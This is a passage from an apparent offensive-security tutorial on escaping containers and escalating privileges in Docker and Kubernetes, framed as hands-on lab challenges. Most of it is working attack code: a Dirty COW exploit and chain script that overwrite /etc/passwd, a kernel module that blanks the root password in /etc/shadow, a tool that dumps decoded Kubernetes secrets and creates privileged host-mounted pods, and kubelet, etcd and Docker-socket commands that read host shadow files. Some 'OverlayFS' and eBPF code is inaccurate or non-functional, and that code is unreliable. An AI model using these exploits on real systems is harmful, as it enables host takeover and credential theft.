print(f"[+] Found {len(mount_points)} mount points")
print("[+] Checking for potential escape vectors...")
escape_vectors = check_for_escape_vectors(mount_points)
if escape_vectors:
print("[!] Potential escape vectors found:")
for vector in escape_vectors:
print(f" - {vector}")
else:
print("[+] No obvious escape vectors found in mount points")
print("[+] Scanning for interesting files...")
interesting_files = []
for mount in mount_points:
# Skip some virtual filesystems to avoid clutter
if mount in ['/proc', '/sys', '/dev', '/run']:
continue
mount_files = scan_for_interesting_files(mount)
interesting_files.extend(mount_files)
if interesting_files:
print(f"[!] Found {len(interesting_files)} interesting files:")
for item in interesting_files[:20]: # Show top 20 to avoid overwhelming output
print(f" - {item['type']}: {item['path']}")
print(f" Permissions: {item['perms']} ({item['owner']}:{item['group']})")
print(f" Size: {item['size']} bytes, Modified: {item['mtime']}")
print()
if len(interesting_files) > 20:
print(f" (and {len(interesting_files) - 20} more files)")
else:
print("[+] No interesting files found")
if __name__ == "__main__":
main()
Hands-On Challenge #5: Volume Access Lab
Create containers with various volume configurations and explore escape techniques:
# Create a shared volume
docker volume create shared_vol
# Container 1: With shared volume
docker run -it --rm --name c1 -v shared_vol:/shared ubuntu:20.04 bash
# In Container 1, create a file in the shared volume
echo "This is a test file from Container 1" > /shared/test.txt
# Container 2: Also with the shared volume
docker run -it --rm --name c2 -v shared_vol:/shared ubuntu:20.04 bash
# In Container 2, verify you can see the file
cat /shared/test.txt
# Container 3: With host /proc mounted
docker run -it --rm --name c3 -v /proc:/host_proc ubuntu:20.04 bash
# Try to access host information via /proc
ls -la /host_proc/1/root/
Advanced Kernel Exploitation
At this level, we're exploiting vulnerabilities in the shared kernel to escape container isolation. This requires understanding kernel internals and exploit development.
The Dirty COW Exploit (CVE-2016-5195)
One of the most famous kernel vulnerabilities that allows container escapes:
// dirty_cow.c - CVE-2016-5195 exploit (simplified version)
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg) {
char *str;
str = (char *)arg;
int i, c = 0;
for (i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n", c);
return NULL;
}
void *procselfmemThread(void *arg) {
char *str;
str = (char *)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for (i = 0; i < 100000000; i++) {
lseek(f, (off_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("write %d\n", c);
close(f);
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
fprintf(stderr, "Usage: %s target_file new_content\n", argv[0]);
return 1;
}
pthread_t pth1, pth2;
name = argv[1];
// Open the target file
f = open(name, O_RDONLY);
if (f == -1) {
perror("open");
return 1;
}
// Get file size
fstat(f, &st);
// Map the file
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
// Create threads
pthread_create(&pth1, NULL, madviseThread, argv[2]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
// Wait for threads to complete
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
Using Dirty COW for Container Escape
# Compile the exploit inside the container
apt-get update && apt-get install -y build-essential
gcc -pthread dirty_cow.c -o dirty_cow
# Use it to modify a SUID binary on the host
# First, check if we can access any SUID binaries from the host
find /proc/1/root -perm -4000 -type f 2>/dev/null
# If found, use Dirty COW to modify it
./dirty_cow /proc/1/root/usr/bin/some_suid_binary '#!/bin/sh\ncp /proc/1/root/etc/shadow /tmp/shadow\nchmod 777 /tmp/shadow'
# Execute the SUID binary to trigger our payload
/usr/bin/some_suid_binary
The OverlayFS Vulnerability (CVE-2021-3493)
Recent vulnerability in Ubuntu's OverlayFS implementation:
// overlayfs.c - CVE-2021-3493
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
// Payload to be executed when exploit succeeds
static const char *SHELL =
"#!/bin/bash\n"
"cat /etc/shadow > /tmp/shadow\n"
"chmod 777 /tmp/shadow\n"
"bash -i\n";
static void setup_sandbox(void) {
const unsigned mount_flags = MS_NOSUID | MS_NODEV | MS_NOEXEC | MS_NOATIME;
// Create a temporary directory for our mount point
if (mkdir("/tmp/exploit", 0777) < 0 && errno != EEXIST)
err(1, "mkdir(\"/tmp/exploit\")");
// Mount it with overlayfs
if (syscall(SYS_mount, "overlay", "/tmp/exploit", "overlay", mount_flags,
"lowerdir=/tmp,upperdir=/tmp,workdir=/tmp") < 0)
err(1, "mount(\"overlay\")");
}
static void exec_shell(void) {
// Create a shell script
int fd = open("/tmp/shell.sh", O_WRONLY | O_CREAT, 0777);
if (fd < 0)
err(1, "open(\"/tmp/shell.sh\")");
// Write payload to shell script
if (write(fd, SHELL, strlen(SHELL)) != strlen(SHELL))
err(1, "write(\"/tmp/shell.sh\")");
close(fd);
// Execute our shell script
char *const argv[] = {"/tmp/shell.sh", NULL};
execve("/tmp/shell.sh", argv, NULL);
err(1, "execve(\"/tmp/shell.sh\")");
}
int main(int argc, char *argv[]) {
pid_t pid;
int status;
printf("[+] CVE-2021-3493 Ubuntu OverlayFS Container Escape\n");
// Set up the sandbox environment
setup_sandbox();
// Fork a child process to handle the exploit
pid = fork();
if (pid == -1)
err(1, "fork()");
if (pid == 0) {
// Child process
exec_shell();
exit(0);
}
// Parent process
if (waitpid(pid, &status, 0) == -1)
err(1, "waitpid()");
if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
printf("[+] Exploit completed successfully\n");
else
printf("[-] Exploit failed\n");
return 0;
}
Container Breakout via Kernel Module Loading
In privileged containers with CAP_SYS_MODULE:
// kernel_module_escape.c - Kernel module for container escape
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/namei.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Security Researcher");
MODULE_DESCRIPTION("Container Escape Demo");
MODULE_VERSION("0.1");
static int __init escape_init(void) {
struct path path;
struct file *file;
loff_t pos = 0;
int ret;
char *payload = "root::0:0:root:/root:/bin/bash\n";
printk(KERN_INFO "Container Escape: Initializing\n");
// Locate the shadow file on the host
ret = kern_path("/etc/shadow", 0, &path);
if (ret) {
printk(KERN_ERR "Container Escape: Failed to find /etc/shadow\n");
return -1;
}
// Open the file for writing
file = filp_open("/etc/shadow", O_WRONLY | O_CREAT, 0644);
if (IS_ERR(file)) {
printk(KERN_ERR "Container Escape: Failed to open /etc/shadow\n");
path_put(&path);
return PTR_ERR(file);
}
// Write to the file (reset root password)
kernel_write(file, payload, strlen(payload), &pos);
// Cleanup
filp_close(file, NULL);
path_put(&path);
printk(KERN_INFO "Container Escape: Success! Root password has been reset.\n");
return 0;
}
static void __exit escape_exit(void) {
printk(KERN_INFO "Container Escape: Module unloaded\n");
}
module_init(escape_init);
module_exit(escape_exit);
Compile and load the module:
# Install dependencies
apt-get update && apt-get install -y build-essential linux-headers-$(uname -r)
# Create Makefile
cat > Makefile << EOF
obj-m += kernel_module_escape.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF
# Compile the module
make
# Load the module to execute the escape
insmod kernel_module_escape.ko
# Remove the module
rmmod kernel_module_escape
eBPF for Container Escape
Using extended Berkeley Packet Filter (eBPF) for kernel exploitation:
// bpf_escape.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>
#define BPF_PROG_LOAD 5
static inline int bpf(int cmd, union bpf_attr *attr, unsigned int size) {
return syscall(__NR_bpf, cmd, attr, size);
}
int main(int argc, char **argv) {
union bpf_attr attr = { 0 };
int prog_fd;
// BPF program that attempts to access kernel memory
struct bpf_insn prog[] = {
// Load address of kernel symbol
BPF_LD_IMM64(BPF_REG_1, 0xffffffff81000000), // Example kernel address
// Read from the address
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0),
// Return
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
printf("[+] Attempting eBPF container escape...\n");
// Prepare BPF program
attr.prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
attr.insns = (uint64_t)prog;
attr.insn_cnt = sizeof(prog) / sizeof(struct bpf_insn);
attr.license = (uint64_t)"GPL";
// Load BPF program
prog_fd = bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
if (prog_fd < 0) {
printf("[-] Failed to load BPF program: %s\n", strerror(errno));
if (errno == EPERM) {
printf("[-] Permission denied. Container might not have CAP_SYS_ADMIN capability.\n");
}
return 1;
}
printf("[+] BPF program loaded successfully. FD: %d\n", prog_fd);
printf("[+] Container escape might be possible.\n");
close(prog_fd);
return 0;
}
Kernel Exploit Decision Tree
Do we have CAP_SYS_ADMIN?
├── Yes → Try cgroup release_agent
│ ├── Success → Full host access
│ └── Failure → Try loading kernel module
│ ├── Success → Full host access
│ └── Failure → Try eBPF exploit
└── No → Check kernel version for known vulnerabilities
├── Found vulnerable version → Use specific exploit (Dirty COW, OverlayFS)
│ ├── Success → Full host access
│ └── Failure → Try other kernel exploits
└── No known vulnerabilities → Look for other container misconfigurations
Hands-On Challenge #6: Kernel Exploit Lab
WARNING: Only practice these exploits in isolated lab environments!
# Create a privileged container for testing kernel exploits
docker run -it --rm --privileged ubuntu:18.04 bash
# Inside the container, check kernel version
uname -a
# Install build tools
apt-get update && apt-get install -y build-essential
# Download and compile a suitable kernel exploit
# For example, the OverlayFS exploit for Ubuntu
wget https://raw.githubusercontent.com/briskets/CVE-2021-3493/main/exploit.c
gcc exploit.c -o exploit
./exploit
# Verify escape by checking if you can access host files
cat /etc/shadow # Should be accessible after successful exploit
Kubernetes-Specific Attack Vectors
Kubernetes adds its own attack surface beyond standard container escapes. Let's explore how to pivot within a Kubernetes cluster after gaining initial access to a container.
Kubernetes Architecture Security Overview
Kubernetes components that are relevant for security:
- API Server: Central control plane
- etcd: Configuration storage
- Kubelet: Node agent
- Service Accounts: Identity within pods
- Network Policies: Traffic control
- RBAC: Access control system
Service Account Token Attacks
# Service account tokens are mounted by default
ls -l /var/run/secrets/kubernetes.io/serviceaccount/
# Store the token for use
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# Basic API access test
curl -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods
# Check what we can access
curl -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-X POST -H "Content-Type: application/json" \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'$NAMESPACE'"}}'
Creating a Privileged Pod
If we have permission to create pods:
# Create a privileged pod manifest
cat <<EOF > privpod.yaml
apiVersion: v1
kind: Pod
metadata:
name: privpod
namespace: $NAMESPACE
spec:
hostPID: true
hostIPC: true
hostNetwork: true
containers:
- name: privpod
image: ubuntu:20.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
EOF
# Create the pod
curl -k -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/yaml" \
--data-binary @privpod.yaml \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods
# Check if created
curl -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods/privpod
Automated Kubernetes Privilege Escalation Tool
#!/usr/bin/env python3
# k8s_priv_esc.py - Kubernetes privilege escalation tool
import os
import json
import base64
import requests
import yaml
from urllib3.exceptions import InsecureRequestWarning
# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
class KubernetesExploit:
def __init__(self):
self.token_path = '/var/run/secrets/kubernetes.io/serviceaccount/token'
self.namespace_path = '/var/run/secrets/kubernetes.io/serviceaccount/namespace'
self.api_server = 'https://kubernetes.default.svc'
self.token = None
self.namespace = None
self.permissions = None
def initialize(self):
"""Initialize by reading service account details."""
if not os.path.exists(self.token_path):
print("[-] Service account token not found. Are you in a Kubernetes pod?")
return False
try:
with open(self.token_path, 'r') as f:
self.token = f.read().strip()
with open(self.namespace_path, 'r') as f:
self.namespace = f.read().strip()
print(f"[+] Initialized with token for namespace: {self.namespace}")
return True
except Exception as e:
print(f"[-] Initialization error: {e}")
return False
def api_request(self, path, method='GET', data=None, content_type='application/json'):
"""Make a request to the Kubernetes API."""
url = f"{self.api_server}{path}"
headers = {
'Authorization': f'Bearer {self.token}',
'Content-Type': content_type
}
try:
if method == 'GET':
response = requests.get(url, headers=headers, verify=False)
elif method == 'POST':
response = requests.post(url, headers=headers, data=data, verify=False)
else:
return None, f"Unsupported method: {method}"
if response.status_code >= 200 and response.status_code < 300:
return response.json(), None
else:
return None, f"API error: {response.status_code} - {response.text}"
except Exception as e:
return None, f"Request error: {e}"
def check_api_access(self):
"""Check if we can access the Kubernetes API."""
print("[*] Checking API access...")
data, error = self.api_request('/api/v1/namespaces')
if error:
print(f"[-] API access failed: {error}")
return False
print("[+] Successfully connected to Kubernetes API")
return True
def check_permissions(self):
"""Check what permissions the service account has."""
print("[*] Checking service account permissions...")
review_data = json.dumps({
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"spec": {
"namespace": self.namespace
}
})
data, error = self.api_request(
'/apis/authorization.k8s.io/v1/selfsubjectrulesreviews',
method='POST',
data=review_data
)
if error:
print(f"[-] Permission check failed: {error}")
return False
self.permissions = data
# Check for dangerous permissions
dangerous_perms = []
if 'status' in data and 'resourceRules' in data['status']:
for rule in data['status']['resourceRules']:
resources = rule.get('resources', [])
verbs = rule.get('verbs', [])
# Check for pod creation
if '*' in resources or 'pods' in resources:
if '*' in verbs or 'create' in verbs:
dangerous_perms.append("Pod creation")
# Check for secret access
if '*' in resources or 'secrets' in resources:
if '*' in verbs or 'get' in verbs or 'list' in verbs:
dangerous_perms.append("Secret access")
# Check for node access
if '*' in resources or 'nodes' in resources:
dangerous_perms.append("Node access")
# Check for service account creation
if '*' in resources or 'serviceaccounts' in resources:
if '*' in verbs or 'create' in verbs:
dangerous_perms.append("ServiceAccount creation")
if dangerous_perms:
print("[!] Dangerous permissions found:")
for perm in dangerous_perms:
print(f" - {perm}")
else:
print("[+] No obviously dangerous permissions found")
return True
def list_secrets(self):
"""Try to list secrets in the namespace."""
print("[*] Attempting to list secrets...")
data, error = self.api_request(f'/api/v1/namespaces/{self.namespace}/secrets')
if error:
print(f"[-] Could not list secrets: {error}")
return False
if 'items' in data:
print(f"[+] Found {len(data['items'])} secrets")
for secret in data['items']:
name = secret['metadata']['name']
secret_type = secret['type']
print(f" - {name} (Type: {secret_type})")
# Try to decode some common secret types
if secret_type in ['Opaque', 'kubernetes.io/basic-auth']:
print(" Data:")
for key, value in secret['data'].items():
try:
decoded = base64.b64decode(value).decode('utf-8')
print(f" {key}: {decoded}")
except:
print(f" {key}: <binary data>")
return True
def create_privileged_pod(self):
"""Attempt to create a privileged pod."""
print("[*] Attempting to create a privileged pod...")
# Privileged pod manifest
pod_manifest = {
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "privilege-escalation-pod",
"namespace": self.namespace
},
"spec": {
"hostPID": True,
"hostIPC": True,
"hostNetwork": True,
"containers": [{
"name": "privilege-escalation",
"image": "ubuntu:20.04",
"command": ["sleep", "infinity"],
"securityContext": {
"privileged": True
},
"volumeMounts": [{
"mountPath": "/host",
"name": "hostfs"
}]
}],
"volumes": [{
"name": "hostfs",
"hostPath": {
"path": "/"
}
}]
}
}
data, error = self.api_request(
f'/api/v1/namespaces/{self.namespace}/pods',
method='POST',
data=json.dumps(pod_manifest)
)
if error:
print(f"[-] Failed to create privileged pod: {error}")
return False
print("[+] Successfully created privileged pod 'privilege-escalation-pod'")
print("[+] Access it with:")
print(f" kubectl exec -it -n {self.namespace} privilege-escalation-pod -- bash")
return True
def check_kubelet_api(self):
"""Try to access the kubelet API on nodes."""
print("[*] Attempting to discover nodes for kubelet API access...")
data, error = self.api_request('/api/v1/nodes')
if error:
print(f"[-] Could not list nodes: {error}")
return False
if 'items' in data:
print(f"[+] Found {len(data['items'])} nodes")
for node in data['items']:
node_name = node['metadata']['name']
addresses = node['status']['addresses']
internal_ip = None
for address in addresses:
if address['type'] == 'InternalIP':
internal_ip = address['address']
break
if internal_ip:
print(f" - Node: {node_name} (IP: {internal_ip})")
print(f" Kubelet API might be accessible at: https://{internal_ip}:10250/")
print(f" Try: curl -k https://{internal_ip}:10250/pods")
return True
def exploit(self):
"""Run through exploitation steps."""
if not self.initialize():
return
if not self.check_api_access():
return
self.check_permissions()
self.list_secrets()
self.create_privileged_pod()
self.check_kubelet_api()
print("\n[+] Exploitation complete. Check results above for successful vectors.")
if __name__ == "__main__":
exploiter = KubernetesExploit()
exploiter.exploit()
Kubelet API Attacks
If kubelet's read-only port (10255) or authenticated port (10250) is accessible:
# Check if we can access kubelet API
curl -k https://NODE_IP:10250/pods
# If accessible, we can execute commands in other pods
curl -k -X POST "https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME" \
-d "cmd=cat /etc/shadow"
# We can also run commands on the node via hostPath pods
# First create a pod with hostPath
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostpath-pod
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "3600"]
volumeMounts:
- mountPath: /host
name: hostpath
volumes:
- name: hostpath
hostPath:
path: /
EOF
# Then exec into it via kubelet
curl -k -X POST "https://NODE_IP:10250/run/default/hostpath-pod/busybox" \
-d "cmd=cat /host/etc/shadow"
etcd Direct Access
If etcd is accessible:
# Check if etcd is accessible
curl -k https://ETCD_IP:2379/version
# List all keys
curl -k https://ETCD_IP:2379/v2/keys/?recursive=true
# Get specific secrets (like service account tokens)
curl -k https://ETCD_IP:2379/v2/keys/registry/secrets/kube-system/default-token-xyz
API Server Vulnerabilities
Exploiting API server misconfiguration:
# Anonymous access check
curl -k https://KUBERNETES_API_SERVER/api/v1/namespaces
# Check for unauthenticated access to pod exec
curl -k https://KUBERNETES_API_SERVER/api/v1/namespaces/default/pods/mypod/exec?command=ls&stdin=true&stdout=true&stderr=true
# Leverage aggregated API servers if available
curl -k https://KUBERNETES_API_SERVER/apis/metrics.k8s.io/v1beta1/nodes
Kubernetes Decision Tree
Do we have service account token?
├── Yes → Check permissions with SelfSubjectRulesReview
│ ├── Can create pods? → Create privileged pod
│ │ └── Success → Access host through privileged pod
│ ├── Can read secrets? → Gather service account tokens
│ │ └── Try more powerful service account token
│ ├── Can access nodes? → Check for kubelet API access
│ │ └── Run commands via kubelet API
│ └── Limited permissions → Look for RBAC misconfigurations
└── No → Check for NetworkPolicy gaps
├── Can access etcd? → Extract secrets from etcd
├── Can access kubelet? → Execute commands via kubelet
└── Can access API aggregation layer? → Look for vulnerabilities
Hands-On Challenge #7: Kubernetes Privilege Escalation
Set up a local Kubernetes environment with Minikube and practice privilege escalation:
# Start Minikube with RBAC enabled
minikube start
# Create a pod with a vulnerable service account
kubectl create serviceaccount vulnerable-sa
# Create a role with excessive permissions
kubectl create role vulnerable-role \
--verb=create,list,get \
--resource=pods,secrets
# Bind the role to the service account
kubectl create rolebinding vulnerable-binding \
--role=vulnerable-role \
--serviceaccount=default:vulnerable-sa
# Create a pod using this service account
kubectl run vulnerable-pod \
--image=ubuntu:20.04 \
--command -- sleep infinity \
--serviceaccount=vulnerable-sa
# Now practice the privilege escalation techniques within this pod
kubectl exec -it vulnerable-pod -- bash
Building Custom Escape Chains
Now let's combine multiple techniques to create sophisticated escape chains that work in hardened environments.
Container Escape Methodology
A systematic approach to container escape:
- Reconnaissance: Understand the environment
- Capability Analysis: Identify available privileges
- Vulnerability Identification: Find weaknesses
- Exploit Development: Build custom exploits
- Privilege Escalation: Gain higher privileges
- Persistence: Maintain access
Docker Socket + Kernel Exploit Chain
#!/bin/bash
# docker_kernel_chain.sh - Combined exploit chain
echo "[+] Starting container escape chain..."
# First, check if Docker socket is available
if [ -S /var/run/docker.sock ]; then
echo "[+] Docker socket found, attempting primary escape vector"
# Create a container with elevated privileges
echo "[+] Creating privileged container"
CONTAINER_ID=$(curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu:20.04","Cmd":["/bin/sleep","infinity"],"Privileged":true}' \
http://localhost/containers/create | grep -o '"Id":"[^"]*' | cut -d':' -f2 | tr -d '"')
if [ -z "$CONTAINER_ID" ]; then
echo "[-] Failed to create container"
else
echo "[+] Container created: $CONTAINER_ID"
# Start the container
echo "[+] Starting privileged container"
curl -s -X POST \
--unix-socket /var/run/docker.sock \
http://localhost/containers/$CONTAINER_ID/start
# Execute command to prove host access
echo "[+] Testing host access via privileged container"
EXEC_ID=$(curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/etc/shadow"]}' \
http://localhost/containers/$CONTAINER_ID/exec | grep -o '"Id":"[^"]*' | cut -d':' -f2 | tr -d '"')
echo "[+] Executing command in privileged container"
curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Detach":false,"Tty":false}' \
http://localhost/exec/$EXEC_ID/start
echo "[+] Cleanup: removing container"
curl -s -X DELETE \
--unix-socket /var/run/docker.sock \
http://localhost/containers/$CONTAINER_ID?force=true
echo "[+] Primary escape vector successful"
exit 0
fi
else
echo "[-] Docker socket not found"
fi
# Secondary vector: CVE-2021-3493 OverlayFS (Ubuntu)
echo "[+] Attempting secondary escape vector: OverlayFS vulnerability"
# Check if we're on a vulnerable Ubuntu version
if grep -q "Ubuntu" /etc/os-release && grep -q "20.04\|18.04\|16.04" /etc/os-release; then
echo "[+] Potentially vulnerable Ubuntu version found"
# Create exploit code
cat > /tmp/overlayfs_exploit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
static void setup_sandbox(void) {
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0)
err(1, "unshare()");
}
static void exec_shell(void) {
char *const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
err(1, "execve()");
}
int main(int argc, char *argv[]) {
printf("[+] CVE-2021-3493 OverlayFS Exploit\n");
setup_sandbox();
pid_t pid = fork();
if (pid == -1)
err(1, "fork()");
if (pid == 0) {
exec_shell();
exit(0);
}
waitpid(pid, NULL, 0);
return 0;
}
EOF
# Compile and run exploit
echo "[+] Compiling OverlayFS exploit"
gcc -o /tmp/overlayfs_exploit /tmp/overlayfs_exploit.c
echo "[+] Running exploit"
/tmp/overlayfs_exploit
if [ $? -eq 0 ]; then
echo "[+] Exploit appears successful"
# Try to access host shadow file
if cat /etc/shadow 2>/dev/null; then
echo "[+] Secondary escape vector successful"
exit 0
else
echo "[-] Could not confirm host access"
fi
else
echo "[-] Exploit failed"
fi
else
echo "[-] Not running on a vulnerable Ubuntu version"
fi
# Tertiary vector: Dirty COW (older kernels)
echo "[+] Attempting tertiary escape vector: Dirty COW"
# Check kernel version
KERNEL_VERSION=$(uname -r)
echo "[+] Kernel version: $KERNEL_VERSION"
if [[ "$KERNEL_VERSION" =~ ^3\. || "$KERNEL_VERSION" =~ ^4\.[0-8] ]]; then
echo "[+] Potentially vulnerable kernel version found"
# Create Dirty COW exploit
cat > /tmp/dirty_cow.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg) {
char *str;
str = (char *)arg;
int i, c = 0;
for (i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n", c);
return NULL;
}
void *procselfmemThread(void *arg) {
char *str;
str = (char *)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for (i = 0; i < 100000000; i++) {
lseek(f, (off_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("write %d\n", c);
close(f);
return NULL;
}
int main(int argc, char *argv[]) {
pthread_t pth1, pth2;
struct stat st;
int f = open("/etc/passwd", O_RDONLY);
fstat(f, &st);
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap: %p\n", map);
char *new_passwd = "rootx::0:0:root:/root:/bin/bash\n";
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, new_passwd);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
EOF
# Compile and run exploit
echo "[+] Compiling Dirty COW exploit"
gcc -pthread -o /tmp/dirty_cow /tmp/dirty_cow.c
echo "[+] Running exploit"
/tmp/dirty_cow
# Check if exploit worked
if grep -q "rootx::" /etc/passwd; then
echo "[+] Dirty COW exploit successful"
echo "[+] Try to use: su - rootx"
exit 0
else
echo "[-] Exploit failed or could not be verified"
fi
else
echo "[-] Kernel version not likely vulnerable to Dirty COW"
fi
echo "[-] All escape vectors failed"
exit 1
Multi-Stage Exploit Chain Methodology
When working with complex container environments, a single vulnerability often isn't enough. I use this methodology to chain multiple techniques:
- Identify all potential vulnerabilities through reconnaissance
- Prioritize exploits based on reliability and impact
- Prepare fallback methods if primary exploits fail
- Chain techniques that complement each other
- Maintain access once initial escape is achieved
Kubernetes Pod Spec + Service Account Chain
# kubernetes_chain.yaml - Multi-stage Kubernetes escape chain
apiVersion: v1
kind: Pod
metadata:
name: escape-chain
labels:
app: escape-chain
spec:
serviceAccountName: default # Will be used for API access
hostPID: true # Step 1: Get host PID namespace
hostIPC: true # Step 2: Get host IPC namespace
containers:
- name: stage1
image: ubuntu:20.04
command: ["bash", "-c", "apt-get update && apt-get install -y curl jq && while true; do sleep 30; done"]
securityContext:
privileged: false # Not privileged initially
volumeMounts:
- name: docker-socket # Step 3: Mount Docker socket
mountPath: /var/run/docker.sock
- name: service-account # Step 4: Access service account token
mountPath: /var/run/secrets/kubernetes.io/serviceaccount
- name: tmp
mountPath: /tmp
volumes:
- name: docker-socket
hostPath:
path: /var/run/docker.sock
type: Socket
- name: service-account
projected:
sources:
- serviceAccountToken:
path: token
expirationSeconds: 7200
- name: tmp
emptyDir: {}
---
# Included script to execute inside the pod
apiVersion: v1
kind: ConfigMap
metadata:
name: escape-chain-script
data:
escape.sh: |
#!/bin/bash
echo "[+] Starting multi-stage Kubernetes escape chain"
# Stage 1: Check service account permissions
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
echo "[+] Using service account token in namespace: $NAMESPACE"
# Check permissions
PERMISSIONS=$(curl -s -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-X POST -H "Content-Type: application/json" \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'$NAMESPACE'"}}')
# Extract capabilities
echo "[+] Checking for pod creation permission"
if echo $PERMISSIONS | grep -q '"pods"'; then
if echo $PERMISSIONS | grep -q '"create"'; then
echo "[+] We have permission to create pods!"
CAN_CREATE_PODS=true
fi
fi
# Stage 2: Docker socket exploitation (if available)
if [ -S /var/run/docker.sock ]; then
echo "[+] Docker socket found, using it for escape"
# Create a privileged container with host mount
echo "[+] Creating privileged container"
CONTAINER_ID=$(curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu:20.04","Cmd":["/bin/sleep","9999"],"Binds":["/:/host"],"Privileged":true}' \
http://localhost/containers/create | jq -r .Id)
echo "[+] Starting container: $CONTAINER_ID"
curl -s -X POST --unix-socket /var/run/docker.sock \
http://localhost/containers/$CONTAINER_ID/start
# Extract host /etc/shadow to prove escape
echo "[+] Reading host /etc/shadow through container"
EXEC_ID=$(curl -s -X POST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/host/etc/shadow"]}' \
http://localhost/containers/$CONTAINER_ID/exec | jq -r .Id)
curl -s -X POST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Detach":false,"Tty":false}' \
http://localhost/exec/$EXEC_ID/start
echo "[+] Docker socket escape successful"
exit 0
fi
# Stage 3: Kubernetes pod creation (if we have permission)
if [ "$CAN_CREATE_PODS" = true ]; then
echo "[+] Attempting to create a privileged pod"
# Create a privileged pod manifest
cat > /tmp/privpod.json << EOF
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "privesc-pod",
"namespace": "$NAMESPACE"
},
"spec": {
"hostPID": true,
"hostIPC": true,
"hostNetwork": true,
"containers": [
{
"name": "privesc",
"image": "ubuntu:20.04",
"command": ["sleep", "infinity"],
"securityContext": {
"privileged": true
},
